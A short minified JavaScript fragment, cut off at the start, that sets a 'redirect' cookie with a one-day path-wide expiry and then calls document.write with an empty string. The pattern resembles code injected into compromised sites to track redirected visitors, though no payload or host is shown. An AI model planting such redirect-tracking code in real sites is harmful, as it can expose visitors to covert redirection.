Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}